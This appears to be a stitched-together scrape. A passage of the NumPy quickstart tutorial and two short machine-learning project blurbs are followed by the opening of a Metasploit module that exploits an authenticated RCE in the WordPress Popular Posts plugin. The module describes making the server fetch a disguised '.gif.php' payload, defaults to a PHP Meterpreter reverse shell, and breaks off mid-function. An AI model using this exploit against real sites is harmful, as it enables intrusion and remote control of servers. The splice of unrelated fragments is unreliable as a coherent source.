9997 9998 9999] >>> >>> print(np.arange(10000).reshape(100,100)) [[ 0 1 2 ... 97 98 99] [ 100 101 102 ... 197 198 199] [ 200 201 202 ... 297 298 299] ... [9700 9701 9702 ... 9797 9798 9799] [9800 9801 9802 ... 9897 9898 9899] [9900 9901 9902 ... 9997 9998 9999]] To disable this behaviour and force NumPy to print the entire array, you can change the printing options using set_printoptions. >>> >>> np.set_printoptions(threshold=sys.maxsize) # sys module should be imported Basic Operations Arithmetic operators on arrays apply elementwise. A new array is created and filled with the result. >>> >>> a = np.array( [20,30,40,50] ) >>> b = np.arange( 4 ) >>> b array([0, 1, 2, 3]) >>> c = a-b >>> c array([20, 29, 38, 47]) >>> b**2 array([0, 1, 4, 9]) >>> 10*np.sin(a) array([ 9.12945251, -9.88031624, 7.4511316 , -2.62374854]) >>> a<35 array([ True, True, False, False]) Unlike in many matrix languages, the product operator * operates elementwise in NumPy arrays. The matrix product can be performed using the @ operator (in python >=3.5) or the dot function or method: >>> >>> A = np.array( [[1,1], ... [0,1]] ) >>> B = np.array( [[2,0], ... [3,4]] ) >>> A * B # elementwise product array([[2, 0], [0, 4]]) >>> A @ B # matrix product array([[5, 4], [3, 4]]) >>> A.dot(B) # another matrix product array([[5, 4], [3, 4]]) Some operations, such as += and *=, act in place to modify an existing array rather than create a new one. >>> >>> rg = np.random.default_rng(1) # create instance of default random number generator >>> a = np.ones((2,3), dtype=int) >>> b = rg.random((2,3)) >>> a *= 3 >>> a array([[3, 3, 3], [3, 3, 3]]) >>> b += a >>> b array([[3.51182162, 3.9504637 , 3.14415961], [3.94864945, 3.31183145, 3.42332645]]) >>> a += b # b is not automatically converted to integer type Traceback (most recent call last): ... numpy.core._exceptions.UFuncTypeError: Cannot cast ufunc 'add' output from dtype('float64') to dtype('int64') with casting rule 'same_kind' When operating with arrays of different types, the type of the resulting array corresponds to the more general or precise one (a behavior known as upcasting). >>> >>> a = np.ones(3, dtype=np.int32) >>> b = np.linspace(0,pi,3) >>> b.dtype.name 'float64' >>> c = a+b >>> c array([1. , 2.57079633, 4.14159265]) >>> c.dtype.name 'float64' >>> d = np.exp(c*1j) >>> d array([ 0.54030231+0.84147098j, -0.84147098+0.54030231j, -0.54030231-0.84147098j]) >>> d.dtype.name 'complex128' Many unary operations, such as computing the sum of all the elements in the array, are implemented as methods of the ndarray class. >>> >>> a = rg.random((2,3)) >>> a array([[0.82770259, 0.40919914, 0.54959369], [0.02755911, 0.75351311, 0.53814331]]) >>> a.sum() 3.1057109529998157 >>> a.min() 0.027559113243068367 >>> a.max() 0.8277025938204418 By default, these operations apply to the array as though it were a list of numbers, regardless of its shape. However, by specifying the axis parameter you can apply an operation along the specified axis of an array: >>> >>> b = np.arange(12).reshape(3,4) >>> b array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> b.sum(axis=0) # sum of each column array([12, 15, 18, 21]) >>> >>> b.min(axis=1) # min of each row array([0, 4, 8]) >>> >>> b.cumsum(axis=1) # cumulative sum along each row array([[ 0, 1, 3, 6], [ 4, 9, 15, 22], [ 8, 17, 27, 38]]) Universal Functions NumPy provides familiar mathematical functions such as sin, cos, and exp. In NumPy, these are called “universal functions”(ufunc). Within NumPy, these functions operate elementwise on an array, producing an array as output. >>> >>> B = np.arange(3) >>> B array([0, 1, 2]) >>> np.exp(B) array([1. , 2.71828183, 7.3890561 ]) >>> np.sqrt(B) array([0. , 1. , 1.41421356]) >>> C = np.array([2., -1., 4.]) >>> np.add(B, C) array([2., 0., 6.]) See also all, any, apply_along_axis, argmax, argmin, argsort, average, bincount, ceil, clip, conj, corrcoef, cov, cross, cumprod, cumsum, diff, dot, floor, inner, invert, lexsort, max, maximum, mean, median, min, minimum, nonzero, outer, prod, re, round, sort, std, sum, trace, transpose, var, vdot, vectorize, where Indexing, Slicing and Iterating One-dimensional arrays can be indexed, sliced and iterated over, much like lists and other Python sequences. >>> >>> a = np.arange(10)**3 >>> a array([ 0, 1, 8, 27, 64, 125, 216, 343, 512, 729]) >>> a[2] 8 >>> a[2:5] array([ 8, 27, 64]) # equivalent to a[0:6:2] = 1000; # from start to position 6, exclusive, set every 2nd element to 1000 >>> a[:6:2] = 1000 >>> a array([1000, 1, 1000, 27, 1000, 125, 216, 343, 512, 729]) >>> a[ : :-1] # reversed a array([ 729, 512, 343, 216, 125, 1000, 27, 1000, 1, 1000]) >>> for i in a: ... print(i**(1/3.)) ... 9.999999999999998 1.0 9.999999999999998 3.0 9.999999999999998 4.999999999999999 5.999999999999999 6.999999999999999 7.999999999999999 8.999999999999998 Multidimensional arrays can have one index per axis. These indices are given in a tuple separated by commas: >>> >>> def f(x,y): ... return 10*x+y ... >>> b = np.fromfunction(f,(5,4),dtype=int) >>> b array([[ 0, 1, 2, 3], [10, 11, 12, 13], [20, 21, 22, 23], [30, 31, 32, 33], [40, 41, 42, 43]]) >>> b[2,3] 23 >>> b[0:5, 1] # each row in the second column of b array([ 1, 11, 21, 31, 41]) >>> b[ : ,1] # equivalent to the previous example array([ 1, 11, 21, 31, 41]) >>> b[1:3, : ] # each column in the second and third row of b array([[10, 11, 12, 13], [20, 21, 22, 23]]) When fewer indices are provided than the number of axes, the missing indices are considered complete slices: >>> >>> b[-1] # the last row. Equivalent to b[-1,:] array([40, 41, 42, 43]) The expression within brackets in b[i] is treated as an i followed by as many instances of : as needed to represent the remaining axes. NumPy also allows you to write this using dots as b[i,...]. The dots (...) represent as many colons as needed to produce a complete indexing tuple. For example, if x is an array with 5 axes, then x[1,2,...] is equivalent to x[1,2,:,:,:], x[...,3] to x[:,:,:,:,3] and x[4,...,5,:] to x[4,:,:,5,:]. >>> >>> c = np.array( [[[ 0, 1, 2], # a 3D array (two stacked 2D arrays) ... [ 10, 12, 13]], ... [[100,101,102], ... [110,112,113]]]) >>> c.shape (2, 2, 3) >>> c[1,...] # same as c[1,:,:] or c[1] array([[100, 101, 102], [110, 112, 113]]) >>> c[...,2] # same as c[:,:,2] array([[ 2, 13], [102, 113]]) Iterating over multidimensional arrays is done with respect to the first axis: >>> >>> for row in b: ... print(row) ... [0 1 2 3] [10 11 12 13] [20 21 22 23] [30 31 32 33] [40 41 42 43] However, if one wants to perform an operation on each element in the array, one can use the flat attribute which is an iterator over all the elements of the array: >>> >>> for element in b.flat: ... print(element) ... 0 1 2 3 10 11 12 13 20 21 22 23 30 31 32 33 40 41 42 43 See also Indexing, Indexing (reference), newaxis, ndenumerate, indices Shape Manipulation Changing the shape of an array An array has a shape given by the number of elements along each axis: >>> >>> a = np.floor(10*rg.random((3,4))) >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.shape (3, 4) The shape of an array can be changed with various commands. Note that the following three commands all return a modified array, but do not change the original array: >>> >>> a.ravel() # returns the array, flattened array([3., 7., 3., 4., 1., 4., 2., 2., 7., 2., 4., 9.]) >>> a.reshape(6,2) # returns the array with a modified shape array([[3., 7.], [3., 4.], [1., 4.], [2., 2.], [7., 2.], [4., 9.]]) >>> a.T # returns the array, transposed array([[3., 1., 7.], [7., 4., 2.], [3., 2., 4.], [4., 2., 9.]]) >>> a.T.shape (4, 3) >>> a.shape (3, 4) The order of the elements in the array resulting from ravel() is normally “C-style”, that is, the rightmost index “changes the fastest”, so the element after a[0,0] is a[0,1]. If the array is reshaped to some other shape, again the array is treated as “C-style”. NumPy normally creates arrays stored in this order, so ravel() will usually not need to copy its argument, but if the array was made by taking slices of another array or created with unusual options, it may need to be copied. The functions ravel() and reshape() can also be instructed, using an optional argument, to use FORTRAN-style arrays, in which the leftmost index changes the fastest. The reshape function returns its argument with a modified shape, whereas the ndarray.resize method modifies the array itself: >>> >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.resize((2,6)) >>> a array([[3., 7., 3., 4., 1., 4.], [2., 2., 7., 2., 4., 9.]]) If a dimension is given as -1 in a reshaping operation, the other dimensions are automatically calculated: >>> >>> a.reshape(3,-1) array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) See also ndarray.shape, reshape, resize, ravel Stacking together different arrays Several arrays can be stacked together along different axes: >>> >>> a = np.floor(10*rg.random((2,2))) >>> a array([[9., 7.], [5., 2.]]) >>> b = np.floor(10*rg.random((2,2))) >>> b array([[1., 9.], [5., 1.]]) >>> np.vstack((a,b)) array([[9., 7.], [5., 2.], [1., 9.], [5., 1.]]) >>> np.hstack((a,b)) array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) The function column_stack stacks 1D arrays as columns into a 2D array. It is equivalent to hstack only for 2D arrays: >>> >>> from numpy import newaxis >>> np.column_stack((a,b)) # with 2D arrays array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) >>> a = np.array([4.,2.]) >>> b = np.array([3.,8.]) >>> np.column_stack((a,b)) # returns a 2D array array([[4., 3.], [2., 8.]]) >>> np.hstack((a,b)) # the result is different array([4., 2., 3., 8.]) >>> a[:,newaxis] # view `a` as a 2D column vector array([[4.], [2.]]) >>> np.column_stack((a[:,newaxis],b[:,newaxis])) array([[4., 3.], [2., 8.]]) >>> np.hstack((a[:,newaxis],b[:,newaxis])) # the result is the same array([[4., 3.], [2., 8.]]) On the other hand, the function row_stack is equivalent to vstack for any input arrays. In fact, row_stack is an alias for vstack: >>> >>> np.column_stack is np.hstack False >>> np.row_stack is np.vstack True In general, for arrays with more than two dimensions, hstack stacks along their second axes, vstack stacks along their first axes, and concatenate allows for an optional arguments giving the number of the axis along which the concatenation should happen. Note In complex cases, r_ and c_ are useful for creating arrays by stacking numbers along one axis. They allow the use of range literals (“:”) >>> >>> np.r_[1:4,0,4] array([1, 2, 3, 0, 4]) When used with arrays as arguments, r_ and c_ are similar to vstack and hstack in their default behavior, but allow for an optional argument giving the number of the axis along which to concatenate. See also hstack, vstack, column_stack, concatenate, c_, r_ Splitting one array into several smaller ones Using hsplit, you can split an array along its horizontal axis, either by specifying the number of equally shaped arrays to return, or by specifying the columns after which the division should occur: >>> >>> a = np.floor(10*rg.random((2,12))) >>> a array([[6., 7., 6., 9., 0., 5., 4., 0., 6., 8., 5., 2.], [8., 5., 5., 7., 1., 8., 6., 7., 1., 8., 1., 0.]]) # Split a into 3 >>> np.hsplit(a,3) [array([[6., 7., 6., 9.], [8., 5., 5., 7.]]), array([[0., 5., 4., 0.], [1., 8., 6., 7.]]), array([[6., 8., 5., 2.], [1., 8., 1., 0.]])] # Split a after the third and the fourth column >>> np.hsplit(a,(3,4)) [array([[6., 7., 6.], [8., 5., 5.]]), array([[9.], [7.]]), array([[0., 5., 4., 0., 6., 8., 5., 2.], [1., 8., 6., 7., 1., 8., 1., 0.]])] vsplit splits along the vertical axis, and array_split allows one to specify along which axis to split. Copies and Views When operating and manipulating arrays, their data is sometimes copied into a new array and sometimes not. This is often a source of confusion for beginners. There are three cases: No Copy at All Simple assignments make no copy of objects or their data. >>> >>> a = np.array([[ 0, 1, 2, 3], ... [ 4, 5, 6, 7], ... [ 8, 9, 10, 11]]) >>> b = a # no new object is created >>> b is a # a and b are two names for the same ndarray object True Python passes mutable objects as references, so function calls make no copy. >>> >>> def f(x): ... print(id(x)) ... >>> id(a) # id is a unique identifier of an object 148293216 # may vary >>> f(a) 148293216 # may vary View or Shallow Copy Different array objects can share the same data. The view method creates a new array object that looks at the same data. >>> >>> c = a.view() >>> c is a False >>> c.base is a # c is a view of the data owned by a True >>> c.flags.owndata False >>> >>> c = c.reshape((2, 6)) # a's shape doesn't change >>> a.shape (3, 4) >>> c[0, 4] = 1234 # a's data changes >>> a array([[ 0, 1, 2, 3], [1234, 5, 6, 7], [ 8, 9, 10, 11]]) Slicing an array returns a view of it: >>> >>> s = a[ : , 1:3] # spaces added for clarity; could also be written "s = a[:, 1:3]" >>> s[:] = 10 # s[:] is a view of s. Note the difference between s = 10 and s[:] = 10 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Deep Copy The copy method makes a complete copy of the array and its data. >>> >>> d = a.copy() # a new array object with new data is created >>> d is a False >>> d.base is a # d doesn't share anything with a False >>> d[0,0] = 9999 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Sometimes copy should be called after slicing if the original array is not required anymore. For example, suppose a is a huge intermediate result and the final result b only contains a small fraction of a, a deep copy should be made when constructing b with slicing: >>> >>> a = np.arange(int(1e8)) >>> b = a[:100].copy() >>> del a # the memory of ``a`` can be released. If b = a[:100] is used instead, a is referenced by b and will persist in memory even if del a is executed. Functions and Methods Overview Here is a list of some useful NumPy functions and methods names ordered in categories. See Routines for the full list. Array Creation arange, array, copy, empty, empty_like, eye, fromfile, fromfunction, identity, linspace, logspace, mgrid, ogrid, ones, ones_like, r_, zeros, zeros_like Conversions ndarray.astype, atleast_1d, atleast_2d, atleast_3d, mat Manipulations array_split, column_stack, concatenate, diagonal, dsplit, dstack, hsplit, hstack, ndarray.item, newaxis, ravel, repeat, reshape, resize, squeeze, swapaxes, take, transpose, vsplit, vstack Questions all, any, nonzero, where Ordering argmax, argmin, argsort, max, min, ptp, searchsorted, sort Operations choose, compress, cumprod, cumsum, inner, ndarray.fill, imag, prod, put, putmask, real, sum Basic Statistics cov, mean, std, var Basic Linear Algebra cross, dot, outer, linalg.svd, vdot Less Basic Broadcasting rules Broadcasting allows universal functions to deal in a meaningful way with inputs that do not have exactly the same shape. The first rule of broadcasting is that if all input arrays do not have the same number of dimensions, a “1” will be repeatedly prepended to the shapes of the smaller arrays until all the arrays have the same number of dimensions. The second rule of broadcasting ensures that arrays with a size of 1 along a particular dimension act as if they had the size of the array with the largest shape along that dimension. The value of the array element is assumed to be the same along that dimension for the “broadcast” array. After application of the broadcasting rules, the sizes of all arrays must match. More details can be found in Broadcasting. Advanced indexing and index tricks NumPy offers more indexing facilities than regular Python sequences. In addition to indexing by integers and slices, as we saw before, arrays can be indexed by arrays of integers and arrays of booleans. Indexing with Arrays of Indices >>> >>> a = np.arange(12)**2 # the first 12 square numbers >>> i = np.array([1, 1, 3, 8, 5]) # an array of indices >>> a[i] # the elements of a at the positions i array([ 1, 1, 9, 64, 25]) >>> >>> j = np.array([[3, 4], [9, 7]]) # a bidimensional array of indices >>> a[j] # the same shape as j array([[ 9, 16], [81, 49]]) When the indexed array a is multidimensional, a single array of indices refers to the first dimension of a. The following example shows this behavior by converting an image of labels into a color image using a palette. >>> >>> palette = np.array([[0, 0, 0], # black ... [255, 0, 0], # red ... [0, 255, 0], # green ... [0, 0, 255], # blue ... [255, 255, 255]]) # white >>> image = np.array([[0, 1, 2, 0], # each value corresponds to a color in the palette ... [0, 3, 4, 0]]) >>> palette[image] # the (2, 4, 3) color image array([[[ 0, 0, 0], [255, 0, 0], [ 0, 255, 0], [ 0, 0, 0]], [[ 0, 0, 0], [ 0, 0, 255], [255, 255, 255], [ 0, 0, 0]]]) We can also give indexes for more than one dimension. The arrays of indices for each dimension must have the same shape. >>> >>> a = np.arange(12).reshape(3,4) >>> a array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> i = np.array([[0, 1], # indices for the first dim of a ... [1, 2]]) >>> j = np.array([[2, 1], # indices for the second dim ... [3, 3]]) >>> >>> a[i, j] # i and j must have equal shape array([[ 2, 5], [ 7, 11]]) >>> >>> a[i, 2] array([[ 2, 6], [ 6, 10]]) >>> >>> a[:, j] # i.e., a[ : , j] array([[[ 2, 1], [ 3, 3]], [[ 6, 5], [ 7, 7]], [[10, 9], [11, 11]]]) In Python, arr[i, j] is exactly the same as arr[(i, j)]—so we can put i and j in a tuple and then do the indexing with that. >>> >>> l = (i, j) # equivalent to a[i, j] >>> a[l] array([[ 2, 5], [ 7, 11]]) However, we can not do this by putting i and j into an array, because this array will be interpreted as indexing the first dimension of a. >>> >>> s = np.array([i, j]) # not what we want >>> a[s] Traceback (most recent call last): File "<stdin>", line 1, in <module> IndexError: index 3 is out of bounds for axis 0 with size 3 # same as a[i, j] >>> a[tuple(s)] array([[ 2, 5], [ 7, 11]]) Another common use of indexing with arrays is the search of the maximum value of time-dependent series: >>> >>> time = np.linspace(20, 145, 5) # time scale >>> data = np.sin(np.arange(20)).reshape(5,4) # 4 time-dependent series >>> time array([ 20. , 51.25, 82.5 , 113.75, 145. ]) >>> data array([[ 0. , 0.84147098, 0.90929743, 0.14112001], [-0.7568025 , -0.95892427, -0.2794155 , 0.6569866 ], [ 0.98935825, 0.41211849, -0.54402111, -0.99999021], [-0.53657292, 0.42016704, 0.99060736, 0.65028784], [-0.28790332, -0.96139749, -0.75098725, 0.14987721]]) # index of the maxima for each series >>> ind = data.argmax(axis=0) >>> ind array([2, 0, 3, 1]) # times corresponding to the maxima >>> time_max = time[ind] >>> >>> data_max = data[ind, range(data.shape[1])] # => data[ind[0],0], data[ind[1],1]... >>> time_max array([ 82.5 , 20. , 113.75, 51.25]) >>> data_max array([0.98935825, 0.84147098, 0.99060736, 0.6569866 ]) >>> np.all(data_max == data.max(axis=0)) True You can also use indexing with arrays as a target to assign to: >>> >>> a = np.arange(5) >>> a array([0, 1, 2, 3, 4]) >>> a[[1,3,4]] = 0 >>> a array([0, 0, 2, 0, 0]) However, when the list of indices contains repetitions, the assignment is done several times, leaving behind the last value: >>> >>> a = np.arange(5) >>> a[[0,0,2]]=[1,2,3] >>> a array([2, 1, 3, 3, 4]) This is reasonable enough, but watch out if you want to use Python’s += construct, as it may not do what you expect: >>> >>> a = np.arange(5) >>> a[[0,0,2]]+=1 >>> a array([1, 1, 3, 3, 4]) Even though 0 occurs twice in the list of indices, the 0th element is only incremented once. This is because Python requires “a+=1” to be equivalent to “a = a + 1”. Indexing with Boolean Arrays When we index arrays with arrays of (integer) indices we are providing the list of indices to pick. With boolean indices the approach is different; we explicitly choose which items in the array we want and which ones we don’t. The most natural way one can think of for boolean indexing is to use boolean arrays that have the same shape as the original array: >>> >>> a = np.arange(12).reshape(3,4) >>> b = a > 4 >>> b # b is a boolean with a's shape array([[False, False, False, False], [False, True, True, True], [ True, True, True, True]]) >>> a[b] # 1d array with the selected elements array([ 5, 6, 7, 8, 9, 10, 11]) This property can be very useful in assignments: >>> >>> a[b] = 0 # All elements of 'a' higher than 4 become 0 >>> a array([[0, 1, 2, 3], [4, 0, 0, 0], [0, 0, 0, 0]]) You can look at the following example to see how to use boolean indexing to generate an image of the Mandelbrot set: >>> import numpy as np import matplotlib.pyplot as plt def mandelbrot( h,w, maxit=20 ): """Returns an image of the Mandelbrot fractal of size (h,w).""" y,x = np.ogrid[ -1.4:1.4:h*1j, -2:0.8:w*1j ] c = x+y*1j z = c divtime = maxit + np.zeros(z.shape, dtype=int) for i in range(maxit): z = z**2 + c diverge = z*np.conj(z) > 2**2 # who is diverging div_now = diverge & (divtime==maxit) # who is diverging now divtime[div_now] = i # note when z[diverge] = 2 # avoid diverging too much return divtime plt.imshow(mandelbrot(400,400)) ../_images/quickstart-1.png The second way of indexing with booleans is more similar to integer indexing; for each dimension of the array we give a 1D boolean array selecting the slices we want: >>> >>> a = np.arange(12).reshape(3,4) >>> b1 = np.array([False,True,True]) # first dim selection >>> b2 = np.array([True,False,True,False]) # second dim selection >>> >>> a[b1,:] # selecting rows array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[b1] # same thing array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[:,b2] # selecting columns array([[ 0, 2], [ 4, 6], [ 8, 10]]) >>> >>> a[b1,b2] # a weird thing to do array([ 4, 10]) Note that the length of the 1D boolean array must coincide with the length of the dimension (or axis) you want to slice. In the previous example, b1 has length 3 (the number of rows in a), and b2 (of length 4) is suitable to index the 2nd axis (columns) of a. The ix_() function The ix_ function can be used to combine different vectors so as to obtain the result for each n-uplet. For example, if you want to compute all the a+b*c for all the triplets taken from each of the vectors a, b and c: >>> >>> a = np.array([2,3,4,5]) >>> b = np.array([8,5,4]) >>> c = np.array([5,4,6,8,3]) >>> ax,bx,cx = np.ix_(a,b,c) >>> ax array([[[2]], [[3]], [[4]], [[5]]]) >>> bx array([[[8], [5], [4]]]) >>> cx array([[[5, 4, 6, 8, 3]]]) >>> ax.shape, bx.shape, cx.shape ((4, 1, 1), (1, 3, 1), (1, 1, 5)) >>> result = ax+bx*cx >>> result array([[[42, 34, 50, 66, 26], [27, 22, 32, 42, 17], [22, 18, 26, 34, 14]], [[43, 35, 51, 67, 27], [28, 23, 33, 43, 18], [23, 19, 27, 35, 15]], [[44, 36, 52, 68, 28], [29, 24, 34, 44, 19], [24, 20, 28, 36, 16]], [[45, 37, 53, 69, 29], [30, 25, 35, 45, 20], [25, 21, 29, 37, 17]]]) >>> result[3,2,4] 17 >>> a[3]+b[2]*c[4] 17 You could also implement the reduce as follows: >>> >>> def ufunc_reduce(ufct, *vectors): ... vs = np.ix_(*vectors) ... r = ufct.identity ... for v in vs: ... r = ufct(r,v) ... return r and then use it as: >>> >>> ufunc_reduce(np.add,a,b,c) array([[[15, 14, 16, 18, 13], [12, 11, 13, 15, 10], [11, 10, 12, 14, 9]], [[16, 15, 17, 19, 14], [13, 12, 14, 16, 11], [12, 11, 13, 15, 10]], [[17, 16, 18, 20, 15], [14, 13, 15, 17, 12], [13, 12, 14, 16, 11]], [[18, 17, 19, 21, 16], [15, 14, 16, 18, 13], [14, 13, 15, 17, 12]]]) The advantage of this version of reduce compared to the normal ufunc.reduce is that it makes use of the Broadcasting Rules in order to avoid creating an argument array the size of the output times the number of vectors. Indexing with strings See Structured arrays. Linear Algebra Work in progress. Basic linear algebra to be included here. Simple Array Operations See linalg.py in numpy folder for more. >>> >>> import numpy as np >>> a = np.array([[1.0, 2.0], [3.0, 4.0]]) >>> print(a) [[1. 2.] [3. 4.]] >>> a.transpose() array([[1., 3.], [2., 4.]]) >>> np.linalg.inv(a) array([[-2. , 1. ], [ 1.5, -0.5]]) >>> u = np.eye(2) # unit 2x2 matrix; "eye" represents "I" >>> u array([[1., 0.], [0., 1.]]) >>> j = np.array([[0.0, -1.0], [1.0, 0.0]]) >>> j @ j # matrix product array([[-1., 0.], [ 0., -1.]]) >>> np.trace(u) # trace 2.0 >>> y = np.array([[5.], [7.]]) >>> np.linalg.solve(a, y) array([[-3.], [ 4.]]) >>> np.linalg.eig(j) (array([0.+1.j, 0.-1.j]), array([[0.70710678+0.j , 0.70710678-0.j ], [0. -0.70710678j, 0. +0.70710678j]])) Parameters: square matrix Returns The eigenvalues, each repeated according to its multiplicity. The normalized (unit "length") eigenvectors, such that the column ``v[:,i]`` is the eigenvector corresponding to the eigenvalue ``w[i]`` . Tricks and Tips Here we give a list of short and useful tips. “Automatic” Reshaping To change the dimensions of an array, you can omit one of the sizes which will then be deduced automatically: >>> >>> a = np.arange(30) >>> b = a.reshape((2, -1, 3)) # -1 means "whatever is needed" >>> b.shape (2, 5, 3) >>> b array([[[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 9, 10, 11], [12, 13, 14]], [[15, 16, 17], [18, 19, 20], [21, 22, 23], [24, 25, 26], [27, 28, 29]]]) Vector Stacking How do we construct a 2D array from a list of equally-sized row vectors? In MATLAB this is quite easy: if x and y are two vectors of the same length you only need do m=[x;y]. In NumPy this works via the functions column_stack, dstack, hstack and vstack, depending on the dimension in which the stacking is to be done. For example: >>> >>> x = np.arange(0,10,2) >>> y = np.arange(5) >>> m = np.vstack([x,y]) >>> m array([[0, 2, 4, 6, 8], [0, 1, 2, 3, 4]]) >>> xy = np.hstack([x,y]) >>> xy array([0, 2, 4, 6, 8, 0, 1, 2, 3, 4]) The logic behind those functions in more than two dimensions can be strange. See also NumPy for Matlab users Histograms The NumPy histogram function applied to an array returns a pair of vectors: the histogram of the array and a vector of the bin edges. Beware: matplotlib also has a function to build histograms (called hist, as in Matlab) that differs from the one in NumPy. The main difference is that pylab.hist plots the histogram automatically, while numpy.histogram only generates the data. >>> import numpy as np rg = np.random.default_rng(1) import matplotlib.pyplot as plt # Build a vector of 10000 normal deviates with variance 0.5^2 and mean 2 mu, sigma = 2, 0.5 v = rg.normal(mu,sigma,10000) # Plot a normalized histogram with 50 bins plt.hist(v, bins=50, density=1) # matplotlib version (plot) # Compute the histogram with numpy and then plot it (n, bins) = np.histogram(v, bins=50, density=True) # NumPy version (no plot) plt.plot(.5*(bins[1:]+bins[:-1]), n) ../_images/quickstart-2.png Further reading The Python tutorial NumPy Reference SciPy Tutorial SciPy Lecture Notes A matlab, R, IDL, NumPy/SciPy dictionary © Copyright 2008-2020, The SciPy community. Last updated on Jun 29, 2020. Created using Sphinx 2.4.4.
cosbidev
Official implementation for the paper ``Not Another Imputation Method: A Transformer-based Model for Missing Values in Tabular Datasets´´
utkarshsrivastava
Sparse Matrix Factorization (SMF) is a key component in many machine learning problems and there exist a verity a applications in real-world problems such as recommendation systems, estimating missing values, gene expression modeling, intelligent tutoring systems (ITSs), etc. There are different approaches to tackle with SMF rooted in linear algebra and probability theory. In this project, given an incomplete binary matrix of students’ performances over a set of questions, estimating the probability of success or fail over unanswered questions is of interest. This problem is formulated using Maximum Likelihood Estimation (MLE) which leads to a biconvex optimization problem (this formulation is based on SPARFA [4]). The resulting optimization problem is a hard problem to deal with due to the existence of many local minima. On the other hand, when the size of the matrix of students’ performances increase, the existing algorithms are not successful; therefore, an efficient algorithm is required to solve this problem for large matrices. In this project, a parallel algorithm (i.e., a parallel version of SPARFA) is developed to solve the biconvex optimization problem and tested via a number of generated matrices. Keywords: parallel non-convex optimization, matrix factorization, sparse factor analysis 1 Introduction Educational systems have witnessed a substantial transition from traditional educational methods mainly using text books, lectures, etc. to newly developed systems which are artificial intelligent- based systems and personally tailored to the learners [4]. Personalized Learning Systems (PLSs) and Intelligent Tutoring Systems (ITSs) are two more well-known instances of such recently developed educational systems. PLSs take into account learners’ individual characteristics then customize the learning experience to the learners’ current situation and needs [2]. As computerized learning environments, ITSs model and track student learning states [1, 6, 7]. Latent Factor Model and Bayesian Knowledge Tracing are main classes in ITSs [3]. These new approaches encompass computational models from different disciplines including cognitive and learning sciences, education, 1 computational linguistics, artificial intelligence, operations research, and other fields. More details can be found in [1, 4–6]. Recently, [4] developed a new machine learning-based model for learning analytics, which approximate a students knowledge of the concepts underlying a domain, and content analytics, which estimate the relationships among a collection of questions and those concepts. This model calculates the probability that a learner provides the correct response to a question in terms of three factors: their understanding of a set of underlying concepts, the concepts involved in each question, and each questions intrinsic difficulty [4]. They proposed a bi-convex maximum-likelihood-based solution to the resulting SPARse Factor Analysis (SPARFA) problem. However, the scalability of SPARFA when the number of questions and students significantly increase has not been studied yet.
Nate0634034090
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', 